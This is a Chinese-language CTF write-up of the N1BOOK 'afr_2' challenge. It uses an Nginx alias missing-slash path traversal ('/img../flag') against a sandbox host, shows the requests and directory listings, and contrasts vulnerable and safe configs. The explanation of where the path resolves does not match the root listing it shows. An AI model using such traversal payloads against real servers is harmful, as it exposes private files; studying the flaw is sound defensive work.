Writeup 4 N1BOOK afr_2
解题过程
访问靶机:
http://challenge-e2c0759b122e871b.sandbox.ctfhub.com:10800/靶机首页源码:
<html><head><title>u1s1</title></head><body>HELLO!<imgsrc="img/img.gif"></body></html>发现目录:img
访问该路径:
http://challenge-e2c0759b122e871b.sandbox.ctfhub.com:10800/img/页面显示:
Index of /img/ ../ img.gif 09-Nov-2020 08:17 456384img.gif 就是靶机首页上跳舞的图片。
这意味着服务器开启了目录浏览功能。
我们就可以尝试利用 Nginx 的“目录穿越”漏洞。
尝试用常规的../去访问上一级目录,比如/img/../,发现被服务器拦截或返回 404。
但是,这道题的关键在于:Nginx 在配置别名(alias)时少写了一个斜杠/,导致存在目录穿越漏洞。
正确的 Payload 是把..直接拼在目录名后面,去掉中间的斜杠:
/img../访问这个 URL,就能成功穿越到网站的根目录,看到服务器根目录下的所有文件列表。在列表的底部,可以找到一个名为flag的文件。
尝试访问:
http://challenge-e2c0759b122e871b.sandbox.ctfhub.com:10800/img../页面显示:
Index of /img../ ../ bin/ 23-Jan-2020 14:36 - dev/ 07-Oct-2026 04:11 - etc/ 07-Oct-2026 04:11 - home/ 23-Jan-2020 14:36 - lib/ 23-Jan-2020 14:36 - media/ 23-Jan-2020 14:36 - mnt/ 23-Jan-2020 14:36 - opt/ 23-Jan-2020 14:36 - proc/ 07-Oct-2026 04:11 - root/ 23-Jan-2020 14:36 - run/ 07-Oct-2026 04:11 - sbin/ 23-Jan-2020 14:36 - srv/ 23-Jan-2020 14:36 - sys/ 07-Oct-2026 04:11 - tmp/ 09-Nov-2020 08:17 - usr/ 23-Jan-2020 14:36 - var/ 29-Feb-2020 20:29 - flag 07-Oct-2026 04:11 21💥看到了flag文件!
很自然,访问:
http://challenge-e2c0759b122e871b.sandbox.ctfhub.com:10800/img../flag浏览器自动下载文件:flag
用记事本打开,得到flag
n1book{afr_2_solved}核心知识点
⚠️ CTF 重点:alias的斜杠问题
如果location和alias的末尾斜杠不匹配,就会产生目录穿越漏洞(即afr_2的考点)。
有漏洞的配置(
location无斜杠,alias有斜杠):location /img { alias /var/www/html/img/; }访问
/img../flag时,Nginx 将../flag拼接到/var/www/html/img/后面,解析为:/var/www/html/flag,成功穿越到上一级。安全的配置(两者都有斜杠):
location /img/ { alias /var/www/html/img/; }
CTF 实战中的意义
💡当我们遇到 Nginx 靶机时,重点关注:
- 有没有
alias:如果靶机有静态资源目录(如图片、上传文件),可能用了alias,尝试/目录名../穿越。 autoindex是否开启:如果某个目录能直接列出文件,看看有没有flag或源码文件。location的匹配:如果某个后缀被限制(如.php不能访问),看看能不能用路径穿越或编码绕过。
Rambo
2026年10月07日
🎉🎉🎉